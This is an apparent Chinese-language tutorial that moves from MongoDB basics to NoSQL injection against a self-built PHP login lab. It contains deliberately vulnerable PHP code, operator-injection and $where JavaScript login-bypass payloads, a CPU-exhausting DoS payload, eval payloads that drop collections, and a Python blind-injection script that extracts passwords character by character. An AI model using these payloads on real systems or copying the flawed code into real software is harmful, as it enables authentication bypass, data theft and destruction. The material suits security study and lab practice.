"name": "John Doe",
"age": 30,
"email": "john.doe@example.com",
"address": {
"street": "123 Main St",
"city": "Anytown",
"state": "CA"
},
"phoneNumbers": [
{
"type": "home",
"number": "212 555-1234"
},
{
"type": "office",
"number": "646 555-4567"
}
]
}
xml
<person>
<name>John Doe</name>
<age>30</age>
<email>john.doe@example.com</email>
<address>
<street>123 Main St</street>
<city>Anytown</city>
<state>CA</state>
</address>
<phoneNumbers>
<phoneNumber type="home">212 555-1234</phoneNumber>
<phoneNumber type="office">646 555-4567</phoneNumber>
</phoneNumbers>
</person>
csv
Name,Age,Email
John Doe,30,john.doe@example.com
Jane Smith,25,jane.smith@example.com
Bob Johnson,40,bob.johnson@example.com
yaml
user:
name: John Doe
age: 30
email: john.doe@example.com
文本文档
To be, or not to be, that is the question:
Whether 'tis nobler in the mind to suffer
The slings and arrows of outrageous fortune,
Or to take arms against a sea of troubles
And by opposing end them.
任何形式的自由格式报告、文章或书籍都是非结构化文本。它们可能有段落、标题等格式化元素,但这些元素并不为数据提供可解析的结构。
图像和视频
图像和视频都携带了大量信息,但没有加内在的、用于机器解析的数据结构。
音频记录
音频文件,如歌曲、博客,通常被认为是非结构化的,因为它们的内容没有内部数据结构
上述提到的所有数据,在我的理解中似乎都可以使用文本的方式存储在数据库中,比如音频,即使他是非结构化的二进制,但也可以对其进行base64编码后存储到数据库中由应用程序解码后使用,为了解决这个疑惑,问了一下gpt

讨论结构化与非结构化数据时,我们是在谈论数据的组织和分析的角度,而不仅仅是它的存储形式
MongoDB是当前最流行的NoSQL数据库产品之一,由C++语言编写,是一个基于分布式文件存储的数据库。旨在为WEB应用提供可扩展的高性能数据存储解决方案
MongoDB将数据存储为一个文档,数据结构由键值key=>value
对组成
文档存储在集合中,这两个概念类似于mysql中的数据和表
拉取镜像
docker pull mongo:latest
创建mongo数据持久化目录
mkdir -p ~/Project/mongodb/data/
创建容器 --auth
启用认证 此时登录mongodb必须使用密码
docker run -itd --name mongo -v ~/Project/mongodb/data:/data/db -p 27017:27017 mongo --auth
进入容器 执行mongo
root@e56534cdcc8f:/# docker exec -it mongo mongo
MongoDB shell version v5.0.5
connecting to: mongodb://127.0.0.1:27017/?compressors=disabled&gssapiServiceName=mongodb
Implicit session: session { "id" : UUID("418e4207-6a76-446b-a2f1-b493e8212813") }
MongoDB server version: 5.0.5
================
Warning: the "mongo" shell has been superseded by "mongosh",
which delivers improved usability and compatibility.The "mongo" shell has been deprecated and will be removed in
an upcoming release.
For installation instructions, see
https://docs.mongodb.com/mongodb-shell/install/
================
---
The server generated these startup warnings when booting:
2023-11-11T02:45:05.966+00:00: Access control is not enabled for the database. Read and write access to data and configuration is unrestricted
---
---
Enable MongoDB's free cloud-based monitoring service, which will then receive and display
metrics about your deployment (disk utilization, CPU, operation statistics, etc).
The monitoring data will be available on a MongoDB website with a unique URL accessible to you
and anyone you share the URL with. MongoDB may use this information to make product
improvements and to suggest MongoDB products and deployment options to you.
To enable free monitoring, run the following command: db.enableFreeMonitoring()
To permanently disable this reminder, run the following command: db.disableFreeMonitoring()
---
>
与mysql不同的是,mongo不需要显式的创建数据库。当第一次向一个不存在的数据库写入数据时,mongodb就会自动创建这个数据库。
我们可以使用use mydb
来使用mydb这个不存在的数据库,在写入第一条数据时(创建集合),这个数据库会被创建。
> use mydb
switched to db mydb
集合(Collection)类似于关系型数据库中的表。在mongodb中,可以在写入数据时隐式地创建集合,或者使用db.createCollection(name)
显式创建
> db.createCollection("users")
{ "ok" : 1 }
> show collections;
users
文档是MongoDB数据的基本单元,类似于JSON对象。要向集合中插入文档,可以使用db.<collectionName>.insert()
> db.users.insert({name: "Alice", age: 25, email: "alice@example.com"})
WriteResult({ "nInserted" : 1 })
如果要插入多条数据,则需要把文档放入数组中
> > db.users.insert([{name: "Alice", age: 25, email: "Alice@example.com"},{name: "May", age: 20, email: "may@qq.com"}])
BulkWriteResult({
"writeErrors" : [ ],
"writeConcernErrors" : [ ],
"nInserted" : 2,
"nUpserted" : 0,
"nMatched" : 0,
"nModified" : 0,
"nRemoved" : 0,
"upserted" : [ ]
})
检索所有文档
> db.users.find()
{ "_id" : ObjectId("654ef54b9abf964de8905305"), "name" : "Alice", "age" : 25, "email" : "Alice@example.com" }
{ "_id" : ObjectId("654ef54b9abf964de8905306"), "name" : "May", "age" : 20, "email" : "may@qq.com" }
使用查询条件
> db.users.find({age:{$gt:20}})
{ "_id" : ObjectId("654ef54b9abf964de8905305"), "name" : "Alice", "age" : 25, "email" : "Alice@example.com" }
查询操作符
MongoDB提供了一系列对查询操作符,用于更复杂的条件:
1.比较操作符:如$gt
大于,$lt
小于,$eq
等于,$ne
不等于
> db.users.find({age:{$gt:20}})
{ "_id" : ObjectId("654ef54b9abf964de8905305"), "name" : "Alice", "age" : 25, "email" : "Alice@example.com" }
2.逻辑操作符:如$and
,$or
,$not
,$nor
> db.users.find({ $and: [{ age: { $gt: 20 } }, { name: "Alice" }] })
{ "_id" : ObjectId("654ef54b9abf964de8905305"), "name" : "Alice", "age" : 25, "email" : "Alice@example.com" }
这里只演示了修改已有字段的值,使用到了update
方法的$set
操作符
> db.users.update({name: "Alice"},{$set:{age: 26}})
WriteResult({ "nMatched" : 1, "nUpserted" : 0, "nModified" : 1 })
> db.users.find({age:26})
{ "_id" : ObjectId("654ef54b9abf964de8905305"), "name" : "Alice", "age" : 26, "email" : "Alice@example.com" }
> db.users.remove({name:"Alice"})
WriteResult({ "nRemoved" : 1 })
> db.users.find()
{ "_id" : ObjectId("654ef54b9abf964de8905306"), "name" : "May", "age" : 20, "email" : "may@qq.com" }
创建users
数据库,创建all_users
集合
> use users
switched to db users
> db.createCollection("all_users")
{ "ok" : 1 }
插入一个文档(一条数据)
> db.all_users.insert({name: 'whoami',
description: 'the admin user',
age: 19,
status: 'A',
groups: ['admins','users']
})
WriteResult({ "nInserted" : 1 })
更新数据,将age19改为20,这里的find()
后还使用了pretty()
方法,这可以让json数据格式化输出
> db.all_users.update({'age':19},{$set:{'age':20}})
WriteResult({ "nMatched" : 1, "nUpserted" : 0, "nModified" : 1 })
> db.all_users.find().pretty()
{
"_id" : ObjectId("654f26a49abf964de890530b"),
"name" : "whoami",
"description" : "the admin user",
"age" : 20,
"status" : "A",
"groups" : [
"admins",
"users"
]
}
在执行结果中,我们会发现这条update语句只会修改第一条发现的文档
如果需要修改多条相同的文档,则需要设置multi
参数为true
> db.all_users.update({age:19},{$set:{'age':20}})
WriteResult({ "nMatched" : 1, "nUpserted" : 0, "nModified" : 1 })
如果熟悉常规的SQL语句,通过下表可以更好的理解MongoDB的条件语句查询
操作 | 格式 | 范例 | RDMBS类似语句 |
---|---|---|---|
等于 | { | db.users.find({"name":"whoami}).pretty() | where name = 'whoami' |
小于 | { | db.users.find({"age":{$lt:19}}).pretty() | where age < 19 |
小于或等于 | { | db.users.find({"age":{$lte:19}}).pretty() | where age <= 19 |
大于 | { | db.users.find({"age":{$gt:19}}).pretty() | where age > 19 |
大于或等于 | { | db.users.find({"age":{$gte:19}}).pretty() | where age >=19 |
不等于 | { | db.users.find({"age":{$ne:19}}).pretty() | where age !=19 |
MongoDB的find()方法可以传入多个键值对,每个键值对以逗号分隔,即常规SQL的AND条件
db.all_users.find({"status":"A","age":20})
以上实例相当于RDMBS中的WHERE语句:where status='A' and age=20
MongoDB OR条件语句使用了关键字$or
来表示,语法格式如下:
> db.col.find(
{
$or: [
{key1: value1}, {key2:value2}
]
}
).pretty()
以下实例类似于RDBMS中等where语句:where age > 19 and (name='whoami' or status='B')
> db.all_users.find({age:{$gt:19},
$or:[{"name":"whoami"},{"status":"B"}]})
{ "_id" : ObjectId("654f26a49abf964de890530b"), "name" : "whoami", "description" : "the admin user", "age" : 20, "status" : "A", "groups" : [ "admins", "users" ] }
{ "_id" : ObjectId("654f29bb1431771fc2de54ea"), "name" : "whoami", "description" : "the admin user", "age" : 20, "status" : "A", "groups" : [ "admins", "users" ] }
{ "_id" : ObjectId("654f29bd1431771fc2de54eb"), "name" : "whoami", "description" : "the admin user", "age" : 20, "status" : "A", "groups" : [ "admins", "users" ] }
{ "_id" : ObjectId("654f29be1431771fc2de54ec"), "name" : "whoami", "description" : "the admin user", "age" : 20, "status" : "A", "groups" : [ "admins", "users" ] }
第一种是按照语言的分类,可以分为PHP数组住入、JavaScript注入和Mongo Shell拼接住入等
第二种是按照攻击机制分类,可以分为重言式注入、联合查询注入、JavaScript注入、盲注等
重言式注入
又称为永真式,此类攻击是在条件语句中注入代码,使生成的表达式判定结果永远为真,从而绕过认证或访问机制
联合查询注入
联合查询是一种众所周知的SQL注入技术,攻击者利用一个脆弱的参数去改变给定查询返回的数据集
JavaScript注入
MongoDB Server支持JavaScript,这使得在数据引擎进行复杂事物和查询成为可能,但是传递不干净的用户输入到这些查询中可以注入任意的JavaScript代码,导致非法的数据获取或篡改
盲注
当页面没有回显时,可以通过$regex
正则表达式来达到和传统SQL注入中substr()
函数相同的功能,而且Nosql用到的基本上都是布尔盲注
docker-compose
version: '3'
services:
# PHP 服务定义
php:
image: php7.4.21 # 使用你构建的 PHP 镜像名称
ports:
- "80:80" # 根据需要映射端口,这里示例将容器的 80 端口映射到宿主机的 80 端口
depends_on:
- mongodb # 确保 MongoDB 服务在 PHP 服务之前启动
build:
./php7.4.21/
networks:
- app-network
# MongoDB 服务定义
mongodb:
image: mongo-4.4.7 # 使用你构建的 MongoDB 镜像名称
environment:
MONGO_INITDB_ROOT_USERNAME: root # 根据你的设置修改
MONGO_INITDB_ROOT_PASSWORD: toor # 根据你的设置修改
ports:
- "27017:27017" # 将 MongoDB 的 27017 端口映射到宿主机
build:
./MongoDB4.4.7/
networks:
- app-network
# 定义网络
networks:
app-network:
driver: bridge
php Dockerfile
FROM php:7.4.21-fpm-alpine
RUN apk add --no-cache nginx
RUN mkdir -p /run/nginx
RUN apk add --no-cache autoconf g++ make openssl-dev && \
pecl install mongodb && \
docker-php-ext-enable mongodb
COPY src/ /var/www/html/
COPY config/nginx.conf /etc/nginx/nginx.conf
COPY start.sh /start.sh
RUN chmod +x /start.sh
WORKDIR /var/www/html
EXPOSE 80
ENTRYPOINT [ "/start.sh" ]
mongodb Dockerfile
FROM mongo:4.4.7
EXPOSE 27017
CMD ["mongod"]
docker-compose up -d
-> docker-compose up -d
✔ Network nosqlinjection_app-network Created 0.0s
✔ Container nosqlinjection-mongodb-1 Started 0.0s
✔ Container nosqlinjection-php-1 Started
进入mongodb容器 往test集合的users文档中写入几条数据
> use test
switched to db test
> db.createCollection('users')
{ "ok" : 1 }
> db.users.insert({username:'admin', password:'123456'})
WriteResult({ "nInserted" : 1 })
> db.users.insert({username:'whoami', password:'657260'})
WriteResult({ "nInserted" : 1 })
> db.users.insert({username:'may',password:'toor'})
WriteResult({ "nInserted" : 1 })
> db.users.insert({username:'test',password:'test'})
WriteResult({ "nInserted" : 1 })
编写index.php
<?php
$manager = new MongoDB\Driver\Manager("mongodb://root:toor@mongodb:27017/admin");
$username = $_POST['username'];
$password = $_POST['password'];
$query = new MongoDB\Driver\Query(array(
'username' => $username,
'password' => $password
));
$result = $manager->executeQuery('test.users', $query)->toArray();
$count = count($result);
if ($count > 0) {
foreach ($result as $user) {
$user = ((array)$user);
echo '====Login Success====<br>';
echo 'username:' . $user['username'] . '<br>';
echo 'password:' . $user['password'] . '<br>';
}
}
else{
echo 'Login Failed';
}
?>
当正常用户想要登陆may用户时,post数据如下
username=may&password=toor
进入php程序后的数组如下
array(2) {
["username"]=> string(3) "may"
["password"]=> string(4) "toor"
}
进入MongoDB后执行的语句如下
> db.users.find({username:'may',password:'toor'})
{ "_id" : ObjectId("6551d20505bcd71b4e1249a0"), "username" : "may", "password" : "toor" }
由于程序没有对传递进入的数据做任何过滤处理,若用户传递以下参数
username[$ne]=1&password[$ne]=1
Post Data传递给php将会以键值对的方式进行解析 若键名中存在[]
则会进一步解析成多维数组
由此进入php程序后的数组如下
array(2) {
["username"]=>
array(1) {
["$ne"]=> string(1) "1"
}
["password"]=>
array(1) {
["$ne"]=> string(1) "1"
}
}
进入MongoDB后执行的语句如下
> db.users.find({'username':{$ne:1},'password':{$ne:1}})
{ "_id" : ObjectId("6551d176f2e8e5b79054d30f"), "username" : "admin", "password" : "123456" }
{ "_id" : ObjectId("6551d18df2e8e5b79054d310"), "username" : "whoami", "password" : "657260" }
{ "_id" : ObjectId("6551d20505bcd71b4e1249a0"), "username" : "may", "password" : "toor" }
{ "_id" : ObjectId("6551d20e05bcd71b4e1249a1"), "username" : "test", "password" : "test" }
由于users集合中的所有数据username和password都不为1
所以所有文档数据都将被导出
我们也可以使用以下payload进行攻击
username[$ne]=&password[$ne]=
username[$gt]=&password[$gt]=
username[$gte]=&password[$gte]=
重言式注入通常也是判断页面是否存在注入的第一步
MongoDB Server是支持JavaScript
的,可以使用JavaScript进行一些复杂事务和查询,也允许在查询的时候的时候执行JavaScript代码。
$where
操作符可以用来执行JavaScript代码 将Javascript表达式的字符串或函数作为查询语句的一部分。
在MongoDB 2.4之前,通过$where
操作符使用map-reduce
、group
命令甚至可以访问到Mongo Shell中的全局函数和属性,如db
,也就是说可以在自定义的函数里获取数据库的所有信息。
如下实例:
> db.users.find({$where:"function(){return(this.username=='whoami')}"}).pretty()
{
"_id" : ObjectId("6551d18df2e8e5b79054d310"),
"username" : "whoami",
"password" : "657260"
}
由于使用了$where关键字,其后面的JavaScript将会执行并返回"whoami",然后将查询出username为whoami的数据。
易受攻击的PHP应用程序在构建MongoDB查询时可能会直接插入未经过处理的用户输入,例如从变量$userData
获取查询条件:
db.users.find({$where:"function(){return(this.username==$userData)}"})
攻击者可以注入恶意字符串如'may';sleep(5000)
,此时MongoDB执行对查询语句为:
db.users.find({$where:"function(){return(this.username=='may' && sleep(5000));}"})
此时服务器有5s的延迟则说明注入成功
编写index.php进行测试
<?php
$manager = new MongoDB\Driver\Manager("mongodb://mongodb:27017");
$username = $_POST['username'];
$password = $_POST['password'];
$function = "
function() {
var username = '".$username."';
var password = '".$password."';
if(username == 'admin' && password == '123456'){
return true;
}else{
return false;
}
};
$query = new MongoDB\Driver\Query(array(
'$where' => $function
));
$result = $manager->executeQuery('test.users', $query)->toArray();
$count = count($result);
if ($count>0) {
foreach ($result as $user) {
$user=(array)$user;
echo '====Login Success====<br>';
echo 'username: '.$user['username']."<br>";
echo 'password: '.$user['password']."<br>";
}
}
else{
echo 'Login Failed';
}
?>
当前所使用的MongoDB版本为4.4.7 已经无法访问到db
属性 可以使用下面展示的方法作为万能密码
username=1&password=1';return true//
username=1&password=1';return true;var a='1
传递到php后的数据如下
array(
'$where' => "
function() {
var username = '1';
var password = '1';return true;var a='1';
if(username == 'admin' && password == '123456'){
return true;
}else{
return false;
}
}
")
进入MongoDB后执行的语句为
> db.users.find({$where: "function() { var username = '1';var password = '1';return true;var a='1';if(username == 'admin' && password == '123456'){ return true; }else{ return false; }}"})
{ "_id" : ObjectId("6551d176f2e8e5b79054d30f"), "username" s: "admin", "password" : "123456" }
{ "_id" : ObjectId("6551d18df2e8e5b79054d310"), "username" : "whoami", "password" : "657260" }
{ "_id" : ObjectId("6551d20505bcd71b4e1249a0"), "username" : "may", "password" : "toor" }
{ "_id" : ObjectId("6551d20e05bcd71b4e1249a1"), "username" : "test", "password" : "test" }
password中的return true
让JavaScript提前结束并返回了True
,这样就构造了一个永真的条件从而造成了Nosql注入
下面是一个会造成dos
攻击的paylaod
username=1&password=1';(function(){var date = new Date(); do{curDate = new Date();}while(curDate-date<5000); return Math.max();})();var a='1
这个循环是CPU密集型
的,因为它连续不断地计算时间差,没有任何暂停或等待,这会导致在这5秒内CPU使用率急剧上升。
MongoDB Driver提供直接执行shell命令的方法,这些方式一般是不推荐使用的,但难免有人为了实现一些复杂的查询去使用。
在MongoDB服务器端可以通过db.eval
方法来执行JavaScript脚本,如我们可以定义一个JavaScript函数,然后通过db.eval
在服务端来运行
但是在PHP官网中就已经友情提醒了不要这样使用
<?php
$m = new MongoDB\Driver\Manager;
// Don't do this!!!
$username = $_GET['field'];
// $username is set to "'); db.users.drop(); print('"
$cmd = new \MongoDB\Driver\Command( [
'eval' => "print('Hello, $username!');"
] );
$r = $m->executeCommand( 'dramio', $cmd );
还有人喜欢用Command
去实现MongoDB的distinct
方法,如下
<?php
$manager = new MongoDB\Driver\Manager("mongodb://127.0.0.1:27017");
$username = $_POST['username'];
$cmd = new MongoDB\Driver\Command( [
'eval' => "db.users.distinct('username',{'username':'$username'})"
] );
$result = $manager->executeCommand('test.users', $cmd)->toArray();
$count = count($result);
if ($count > 0) {
foreach ($result as $user) {
$user = ((array)$user);
echo '====Login Success====<br>';
echo 'username:' . $user['username'] . '<br>';
echo 'password:' . $user['password'] . '<br>';
}
}
else{
echo 'Login Failed';
}
?>
这相当于把Mongo Shell开放给了用户 如果此时构造下列payload
username=1'});db.users.drop();db.user.find({'username':'1
username=1'});db.users.insert({"username":"admin","password":123456"});db.users.find({'username':'1
这可以直接访问到db对象 如果此时数据库的权限够高 拿我们能做的事就更多了
当页面没有回显时,我们可以通过$regex
正则表达式来进行注入,$regex
可以达到和传统SQL注入中substr()
函数相同的功能。
我们还是利用第一个index.php进行演示
<?php
$manager = new MongoDB\Driver\Manager("mongodb://127.0.0.1:27017");
$username = $_POST['username'];
$password = $_POST['password'];
$query = new MongoDB\Driver\Query(array(
'username' => $username,
'password' => $password
));
$result = $manager->executeQuery('test.users', $query)->toArray();
$count = count($result);
if ($count > 0) {
foreach ($result as $user) {
$user = ((array)$user);
echo '====Login Success====<br>';
echo 'username:' . $user['username'] . '<br>';
echo 'password:' . $user['password'] . '<br>';
}
}
else{
echo 'Login Failed';
}
?>
布尔盲注重点在于怎么逐个提取字符,如下所示,在已知一个用户名的情况下判断密码长度
username=admin&password[$regex]=.{4} // 登录成功
username=admin&password[$regex]=.{5} // 登录成功
username=admin&password[$regex]=.{6} // 登录成功
username=admin&password[$regex]=.{7} // 登录失败
......
此处的正则如.{4}用于匹配4个长度的字符串
在password[$regex]=.{6}
时可以成功登陆,password[$regex]=.{7}
时登录失败,说明该admin用户的密码长度为6
提交的数据进入php后如下:
array(
'username' => 'admin',
'password' => array('$regex' => '.{6}')
)
进入MongoDB后的数据如下:
> db.users.find({'username':'admin', 'password':{$regex:'.{6}'}})
{ "_id" : ObjectId("60fa9c7b257f18542b68c4b8"), "username" : "admin", "password" : "123456" }
> db.users.find({'username':'admin', 'password':{$regex:'.{7}'}})
因为admin用户的密码长度为6,所以查询条件{'username':'admin', 'password':{$regex:'.{6}'}}
为真,便能成功登陆
{'username':'admin', 'password':{$regex:'.{7}'}}
为假,自然也就登陆不了
知道password长度后就要开始逐个提取字符,上帝视角以admin的密码123456逐个提取为例
username=admin&password[$regex]=1.{5}
username=admin&password[$regex]=12.{4}
username=admin&password[$regex]=123.{3}
username=admin&password[$regex]=1234.{2}
username=admin&password[$regex]=12345.*
username=admin&password[$regex]=123456
#这种方法与mysql盲注中的substr()方法类似
username=admin&password[$regex]=^1
username=admin&password[$regex]=^12
username=admin&password[$regex]=^123
username=admin&password[$regex]=^1234
username=admin&password[$regex]=^12345
username=admin&password[$regex]=^123456
#这种方法类似于mysql中的LIKE
一个盲注脚本
import requests
import string
password = ''
url = 'http://127.0.0.1/index.php'
while True:
for c in string.printable:
if c not in ['*','+','.','?','|','#','&','$']:
get_payload = '?username=admin&password[$regex]=^%s' % (password + c)
post_payload = {
"username": "admin",
"password[$regex]" : '^' + password +c
}
json_payload = """{"username":"admin", "password":{"$regex":"^%s"}}""" % (password + c)
#headers = {'Content-Type': 'application/json'}
#r = requesrs.post(url=url,headers=headers,data=json_payload)
r = requests.post(url=url,data=post_payload)
if 'Login Success' in r.text:
print("[+] %s" % (password + c))
password += c